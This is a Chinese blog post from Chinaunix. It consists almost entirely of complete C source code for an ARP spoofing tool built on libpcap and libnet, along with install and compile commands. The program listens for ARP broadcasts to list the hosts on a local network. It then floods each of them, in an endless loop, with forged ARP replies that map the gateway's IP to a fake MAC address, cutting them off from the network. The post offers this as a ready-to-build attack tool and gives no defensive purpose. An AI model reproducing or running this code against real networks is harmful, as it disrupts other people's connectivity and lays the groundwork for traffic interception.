Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3031849
  • 博文数量: 272
  • 博客积分: 5544
  • 博客等级: 大校
  • 技术积分: 5496
  • 用 户 组: 普通用户
  • 注册时间: 2011-03-08 00:48
个人简介

  每个人都要有一个骨灰级的爱好,不为金钱,而纯粹是为了在这个领域享受追寻真理的快乐。

文章分类

全部博文(272)

文章存档

2015年(2)

2014年(5)

2013年(25)

2012年(58)

2011年(182)

分类: LINUX

2012-06-22 00:59:59

输入需要监听的网卡,再输入监听的arp广播包,内网只有几台客户端的话,捕获30个数据包左右,内网机器数量大的话,监听个上百个包吧,可能等待时间长一点。静默分析完数据包后,开始循环发arp欺骗应答。需要pcap和libnet的开发包,ubuntu系统执行 apt-get install -y libpcap-dev libnet-dev 命令即可。编译命令: gcc -o filename codefile.c -lpcap -lnet



  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <arpa/inet.h>
  4. #include <pcap.h>
  5. #include <string.h>
  6. #include <linux/if_ether.h>
  7. #include <list.h>
  8. #include <libnet.h>
  9. #include <linux/netlink.h>
  10. #include <linux/rtnetlink.h>


  11. #define SNAP_LEN 1518
  12. #define MIN_LEN    (sizeof(struct ethhdr) + 28)
  13. #ifdef DEBUG
  14.     #define DEBUGP(format,args...) fprintf(stdout, format, ##args)
  15. #else
  16.     #define DEBUGP(format,args...)
  17. #endif


  18. static struct list_head listhead;
  19. static pcap_t *handle;
  20. libnet_t *l;


  21. typedef struct mac_ip{
  22.     struct list_head list;
  23.     u_char mac_addr[6];
  24.     u_int32_t ip_addr;
  25.     int status;
  26. }mac_ip_t;

  27. struct arp_hdr{
  28.     u_int16_t        type;
  29.     u_int16_t        proto;
  30.     u_int8_t        hdlen;
  31.     u_int8_t        protolen;
  32.     u_int16_t        op;
  33.     u_int8_t        send_mac[6];
  34.     u_int32_t        send_ip;
  35.     u_int8_t        rev_mac[6];
  36.     u_int32_t        rev_ip;
  37. } __attribute__ ((packed));

  38. #define BUFSIZE 8192
  39.  
  40. struct route_info{
  41.  u_int dstAddr;
  42.  u_int srcAddr;
  43.  u_int gateWay;
  44.  char ifName[IF_NAMESIZE];
  45. };

  46. int readNlSock(int sockFd, char *bufPtr, int seqNum, int pId)
  47. {
  48.     struct nlmsghdr *nlHdr;
  49.     int readLen = 0, msgLen = 0;
  50.     do{
  51.         //收到内核的应答
  52.         if((readLen = recv(sockFd, bufPtr, BUFSIZE - msgLen, 0)) < 0)
  53.         {
  54.             perror("SOCK READ: ");
  55.             return -1;
  56.         }
  57.    
  58.         nlHdr = (struct nlmsghdr *)bufPtr;
  59.         //检查header是否有效
  60.         if((NLMSG_OK(nlHdr, readLen) == 0) || (nlHdr->nlmsg_type == NLMSG_ERROR))
  61.         {
  62.             perror("Error in recieved packet");
  63.             return -1;
  64.         }
  65.    
  66.         /* Check if the its the last message */
  67.         if(nlHdr->nlmsg_type == NLMSG_DONE)
  68.         {
  69.             break;
  70.         } else {
  71.               /* Else move the pointer to buffer appropriately */
  72.             bufPtr += readLen;
  73.             msgLen += readLen;
  74.         }
  75.    
  76.         /* Check if its a multi part message */
  77.         if((nlHdr->nlmsg_flags & NLM_F_MULTI) == 0)
  78.         {
  79.             /* return if its not */
  80.             break;
  81.         }
  82.     } while((nlHdr->nlmsg_seq != seqNum) || (nlHdr->nlmsg_pid != pId));
  83.         return msgLen;
  84. }

  85. //分析返回的路由信息
  86. void parseRoutes(struct nlmsghdr *nlHdr, struct route_info *rtInfo, u_int32_t *gateway)
  87. {
  88.     struct rtmsg *rtMsg;
  89.     struct rtattr *rtAttr;
  90.     int rtLen;
  91.     char *tempBuf = NULL;
  92.     struct in_addr dst;
  93.   
  94.     tempBuf = (char *)malloc(100);
  95.     rtMsg = (struct rtmsg *)NLMSG_DATA(nlHdr);
  96.     // If the route is not for AF_INET or does not belong to main routing table
  97.     //then return.
  98.     if((rtMsg->rtm_family != AF_INET) || (rtMsg->rtm_table != RT_TABLE_MAIN))
  99.         return;
  100.     /* get the rtattr field */
  101.     rtAttr = (struct rtattr *)RTM_RTA(rtMsg);
  102.     rtLen = RTM_PAYLOAD(nlHdr);
  103.     for(;RTA_OK(rtAttr,rtLen);rtAttr = RTA_NEXT(rtAttr,rtLen))
  104.     {
  105.         switch(rtAttr->rta_type)
  106.         {
  107.             case RTA_OIF:
  108.                 if_indextoname(*(int *)RTA_DATA(rtAttr), rtInfo->ifName);
  109.                 break;
  110.             case RTA_GATEWAY:
  111.                 rtInfo->gateWay = *(u_int *)RTA_DATA(rtAttr);
  112.                 break;
  113.             case RTA_PREFSRC:
  114.                 rtInfo->srcAddr = *(u_int *)RTA_DATA(rtAttr);
  115.                 break;
  116.             case RTA_DST:
  117.                 rtInfo->dstAddr = *(u_int *)RTA_DATA(rtAttr);
  118.                 break;
  119.         }
  120.     }

  121.     dst.s_addr = rtInfo->dstAddr;
  122.     if (strstr((char *)inet_ntoa(dst), "0.0.0.0"))
  123.     {
  124.         *gateway = rtInfo->gateWay;
  125.     }
  126.     free(tempBuf);
  127.     return;
  128. }
  129. /********************************************************************
  130. * 函数名: get_gateway
  131. * 参数名: gateway(u_int32_t *gateway) 网关
  132. * 返回值: 0 成功
  133. * -1 失败
  134. * 功 能:传入一个无符号整形指针,函数会修改其值为本机的网络序的网关
  135. ********************************************************************/
  136. int get_gateway(u_int32_t *gateway)
  137. {
  138.     struct nlmsghdr *nlMsg;
  139.     struct rtmsg *rtMsg;
  140.     struct route_info *rtInfo;
  141.     char msgBuf[BUFSIZE];
  142.  
  143.     int sock, len, msgSeq = 0;
  144.     //创建 Socket
  145.     if((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)) < 0)
  146.     {
  147.         perror("Socket Creation: ");
  148.         return -1;
  149.     }
  150.  
  151.     /* Initialize the buffer */
  152.     memset(msgBuf, 0, BUFSIZE);
  153.  
  154.     /* point the header and the msg structure pointers into the buffer */
  155.     nlMsg = (struct nlmsghdr *)msgBuf;
  156.     rtMsg = (struct rtmsg *)NLMSG_DATA(nlMsg);
  157.  
  158.     /* Fill in the nlmsg header*/
  159.     nlMsg->nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); // Length of message.
  160.     nlMsg->nlmsg_type = RTM_GETROUTE; // Get the routes from kernel routing table .
  161.  
  162.     nlMsg->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; // The message is a request for dump.
  163.     nlMsg->nlmsg_seq = msgSeq++; // Sequence of the message packet.
  164.     nlMsg->nlmsg_pid = getpid(); // PID of process sending the request.
  165.  
  166.     /* Send the request */
  167.      if(send(sock, nlMsg, nlMsg->nlmsg_len, 0) < 0)
  168.     {
  169.         printf("Write To Socket Failed...\n");
  170.         return -1;
  171.     }
  172.  
  173.     /* Read the response */
  174.     if((len = readNlSock(sock, msgBuf, msgSeq, getpid())) < 0) {
  175.         printf("Read From Socket Failed...\n");
  176.         return -1;
  177.     }

  178.     /* Parse and print the response */
  179.     rtInfo = (struct route_info *)malloc(sizeof(struct route_info));
  180.     for(; NLMSG_OK(nlMsg,len); nlMsg = NLMSG_NEXT(nlMsg,len)){
  181.         memset(rtInfo, 0, sizeof(struct route_info));
  182.         parseRoutes(nlMsg, rtInfo, gateway);
  183.     }

  184.     free(rtInfo);
  185.     close(sock);
  186.     return 0;
  187. }

  188. #if 0 /* 转换CIDR */
  189. static int ntod(u_int32_t mask)
  190. {
  191.     int i, n = 0;
  192.     int bits = sizeof(u_int32_t) * 8;
  193.     for(i = bits - 1; i >= 0; i--) {
  194.         if (mask & (0x01 << i))
  195.             n++;
  196.     }
  197.     return n;
  198. }
  199. #else
  200. static u_int32_t ntod(const u_int32_t netmask)
  201. {
  202.     u_int32_t mask;
  203.     float f;
  204.     mask = ntohl(netmask);
  205.     mask = -mask;
  206.     f = mask;
  207.     mask = *(unsigned*)&f;
  208.     mask = 159-(mask>>23);
  209.     return mask;
  210. }
  211. #endif

  212. static void print_alldevs(const pcap_if_t *d, int *i)
  213.  {
  214.      struct sockaddr_in *ipaddr, *mask;
  215.     printf("\n");
  216.     for(; d; d=d->next)
  217.     {
  218.         /* 比较前3个字符是eth的打印 */
  219.         if(!strncmp("eth", d->name, 3))
  220.         {
  221.             /* 注意: IP和掩码都是存储在next结构体中
  222.             把sockaddr转换为sockaddr_in类型(都是16字节长度)
  223.             直接可以取in_addr成员做点十进制转换 */
  224.             ipaddr = (struct sockaddr_in *)d->addresses->next->addr;
  225.             mask = (struct sockaddr_in *)d->addresses->next->netmask;
  226.             printf("     [%d] %s %s/%d\n", ++*i, d->name,
  227.                     inet_ntoa(ipaddr->sin_addr),
  228.                     ntod(mask->sin_addr.s_addr));
  229.         }
  230.     }
  231.      printf("\n");
  232.  }

  233. static void print_arp_info(struct arp_hdr *arph, struct ethhdr *ethh)
  234. {
  235.     /* 调试打印收到的arp请求广播的发送方MAC和IP */
  236.     mac_ip_t test;
  237.     test.ip_addr = arph->send_ip;
  238.     memcpy(test.mac_addr, ethh->h_source, 6);
  239.     printf("MAC: %02x:%02x:%02x:%02x:%02x:%02x IP: %s\n",
  240.             test.mac_addr[0], test.mac_addr[1], test.mac_addr[2],
  241.             test.mac_addr[3], test.mac_addr[4], test.mac_addr[5],
  242.             inet_ntoa(*(struct in_addr *)&test.ip_addr)
  243.         );
  244. }

  245. static int add_mac_ip(const char *mac, const u_int32_t ip)
  246. {
  247.     struct mac_ip *h;
  248.     h = (struct mac_ip *)malloc(sizeof(mac_ip_t));
  249.     if(!h)    return -1;
  250.     INIT_LIST_HEAD(&h->list);
  251.     memcpy(h->mac_addr, mac, 6);
  252.     h->ip_addr = ip;
  253.     h->status = 1;
  254.     list_add_tail(&h->list, &listhead);
  255.     return 0;
  256. }

  257. static int lookup_list(const u_char *mac)
  258. {
  259.     mac_ip_t *h;
  260.     list_for_each_entry(h, &listhead, list) {
  261.         if(memcmp(mac, h->mac_addr, 6) == 0){
  262.             return h->status;
  263.         }
  264.     }
  265.     return -1;
  266. }

  267. static void packet_callback(u_char *args, const struct pcap_pkthdr *header,
  268.                                 const u_char *packet)
  269. {
  270.     if(header->caplen < MIN_LEN) return;

  271.     struct ethhdr *ethh;
  272.     struct arp_hdr *arph;

  273.     ethh = (struct ethhdr *)packet;
  274.     packet += sizeof(struct ethhdr);
  275.     arph = (struct arp_hdr *)packet;
  276.     if(lookup_list(ethh->h_source) == -1)
  277.     {
  278.         add_mac_ip(ethh->h_source, arph->send_ip);
  279.     }
  280.     /* 调试打印arp报文信息 */
  281.     print_arp_info(arph, ethh);

  282. }

  283. static void print_list(void)
  284. {
  285.     printf("\nPrint List info\n");
  286.     mac_ip_t *h;
  287.     mac_ip_t test;
  288.     list_for_each_entry(h, &listhead, list)
  289.     {
  290.         test.ip_addr = h->ip_addr;
  291.         memcpy(test.mac_addr, h->mac_addr, 6);
  292.         printf("MAC: %02x:%02x:%02x:%02x:%02x:%02x IP: %s\n",
  293.             test.mac_addr[0], test.mac_addr[1], test.mac_addr[2],
  294.             test.mac_addr[3], test.mac_addr[4], test.mac_addr[5],
  295.             inet_ntoa(*(struct in_addr *)&test.ip_addr)
  296.         );
  297.     }

  298. }

  299. static void clean_list(void)
  300. {
  301.     mac_ip_t *h,*htmp;

  302.     if(list_empty(&listhead))    return;
  303.     list_for_each_entry_safe(h, htmp, &listhead, list)
  304.     {
  305.         list_del(&h->list);
  306.         free(h);
  307.     }
  308. }

  309. static int send_arp_reply(const char *dev, const u_int32_t gateway,
  310.                             const mac_ip_t *target)
  311. {
  312.     char device[6] = {0};
  313.     u_int32_t dst_ip, src_ip;
  314.     u_int8_t src_mac[6] = {0x12, 0x34, 0x56, 0x78, 0x99, 0x99}; /* 虚假的源MAC */
  315.     u_int8_t dst_mac[6] = {0}; /* 干扰的目标MAC */
  316.     char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  317.     libnet_ptag_t arp_tag, eth_tag;

  318.     strncpy(device, dev, sizeof(device)-1);

  319.     /* 网络序的网关 */
  320.     src_ip = gateway;
  321.     /* 干扰的网络序目标IP */
  322.     dst_ip = target->ip_addr;
  323.     /* 干扰的目标MAC */
  324.     memcpy(dst_mac, target->mac_addr, 6);

  325.     if ( (l = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  326.         printf("libnet_init: error [%s]\n", error);
  327.         return -2;
  328.     };

  329.     /* 构造arp协议块 */
  330.     arp_tag = libnet_build_arp(
  331.             ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  332.             ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  333.             6,                    /* 硬件地址长度 */
  334.             4,                    /* IP地址长度 */
  335.             ARPOP_REPLY,        /* 操作方式:ARP请求 */
  336.             src_mac,                /* source MAC addr */
  337.             (u_int8_t *)&src_ip,    /* src proto addr */
  338.             dst_mac,                /* dst MAC addr */
  339.             (u_int8_t *)&dst_ip,    /* dst IP addr */
  340.             NULL,                /* no payload */
  341.             0,                    /* payload length */
  342.             l,                     /* libnet tag */
  343.             0                    /* Create new one */
  344.     );
  345.     if (arp_tag == -1)    {
  346.         printf("build IP failure\n");
  347.         return -3;
  348.     }

  349.     /* 构造一个以太网协议块
  350.     You should only use this function when
  351.     libnet is initialized with the LIBNET_LINK interface.*/
  352.     eth_tag = libnet_build_ethernet(
  353.         dst_mac,            /* 以太网目的地址 */
  354.         src_mac,            /* 以太网源地址 */
  355.         ETHERTYPE_ARP,    /* 以太网上层协议类型,此时为ARP请求 */
  356.         NULL,            /* 负载,这里为空 */    
  357.         0,                /* 负载大小 */
  358.         l,                 /* Libnet句柄 */
  359.         0                /* 协议块标记,0表示构造一个新的 */                         
  360.     );
  361.     if (eth_tag == -1)    {
  362.         printf("build eth_header failure\n");
  363.         return -4;
  364.     }

  365.     libnet_write(l);

  366.     return 0;
  367. }

  368. static void select_dev(int *i, int* inum)
  369. {
  370.     printf("Enter the interface number (1-%d):", *i);
  371.     scanf("%d", inum);
  372.     while(getchar() != '\n')
  373.         continue;
  374.     if(*inum < 1 || *inum > *i)
  375.     {
  376.         printf("Interface number out of range.\n");
  377.         exit(-3);
  378.     }
  379.     return;
  380. }

  381. static void type_counter(int *counter)
  382. {
  383.     printf("Enter capture the number of packets: ");
  384.     scanf("%d", counter);
  385.     while (getchar() != '\n')
  386.         continue;
  387. }

  388. int main()
  389. {
  390.     pcap_if_t *alldevs, *d;
  391.     char errbuf[PCAP_ERRBUF_SIZE];
  392.     int inum, i = 0, counter;
  393.     char filter_exp[] = "arp", ch;
  394.     struct bpf_program fp;
  395.     struct sockaddr_in *ipaddr;
  396.     u_int32_t gateway = 0;
  397.     char dev[6] = {0};
  398.     mac_ip_t *s;

  399.     /* 取得所有网卡信息 */
  400.     if(pcap_findalldevs(&alldevs, errbuf) == -1)
  401.     {
  402.         fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
  403.         exit(-1);
  404.     } else {
  405.         d = alldevs;
  406.     }

  407.     /* 打印所有以太网卡信息 */
  408.     print_alldevs(d, &i);
  409.     if(i==0)
  410.     {
  411.         printf("No interfaces found!\n");
  412.         pcap_freealldevs(alldevs);
  413.         exit(-2);
  414.     }

  415.     /* 用户选择网卡 */
  416.     select_dev(&i, &inum);

  417.     /* 用户输入抓包数 */
  418.     type_counter(&counter);
  419.     
  420.     /* 选择指定的网卡 */
  421.     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
  422.     DEBUGP("dev = %s\n", d->name);
  423.     strncpy(dev, d->name, sizeof(dev)-1);

  424.     /* 打开网卡准备抓包 */
  425.     handle = pcap_open_live(
  426.                 d->name, /* 设备名 */
  427.                 SNAP_LEN, /* 捕获的数据长度 */
  428.                 1, /* 混杂模式为非0值 */
  429.                 1, /* timeout */
  430.                 errbuf /* 错误信息 */
  431.             );
  432.     if (handle == NULL)
  433.     {
  434.         fprintf(stderr, "Couldn't open device %s: %s\n", d->name, errbuf);
  435.         pcap_freealldevs(alldevs);
  436.         exit(-4);
  437.     }

  438.     /* 编译过滤器规则 */
  439.     ipaddr = (struct sockaddr_in *)d->addresses->next->addr;
  440.     if (pcap_compile(handle, &fp, filter_exp, 0, ipaddr->sin_addr.s_addr) == -1)
  441.     {
  442.         fprintf(stderr, "Couldn't parse filter %s: %s\n",
  443.                 filter_exp, pcap_geterr(handle));
  444.         exit(-5);
  445.     }
  446.     DEBUGP("IP = %s\n", inet_ntoa(*(struct in_addr *)&ipaddr->sin_addr.s_addr));


  447.     /* 允许过滤器 */
  448.     if (pcap_setfilter(handle, &fp) == -1) {
  449.         fprintf(stderr, "Couldn't install filter %s: %s\n",
  450.                 filter_exp, pcap_geterr(handle));
  451.         exit(-6);
  452.     }
  453.     pcap_freealldevs(alldevs);

  454.     /* 设置抓包方向为数据接收 */
  455.     if(pcap_setdirection(handle, PCAP_D_IN) < 0)
  456.     {
  457.         pcap_perror(handle, (char *)"pcap_setdirection");
  458.         exit(-7);
  459.     }
  460.     
  461.     /* 初始化链表 */
  462.     INIT_LIST_HEAD(&listhead);

  463.     /* 开始循环抓包,调用packet_callback处理 */
  464.     pcap_loop(handle, counter, packet_callback, NULL);

  465.     pcap_close(handle);

  466.     /* 调试打印list成员信息 */
  467.     print_list();

  468.     /* 获取网关 */
  469.     get_gateway(&gateway);

  470.     printf("\nPress Ctrl^C to abort!\n");
  471.     while(1)
  472.     {
  473.         list_for_each_entry(s, &listhead, list)
  474.         {
  475.             if(send_arp_reply(dev, gateway, s) == 0)
  476.                 libnet_destroy(l);
  477.         }
  478.         usleep(1000);
  479.     }
  480.     clean_list();
  481.     return 0;
  482. }



阅读(2792) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~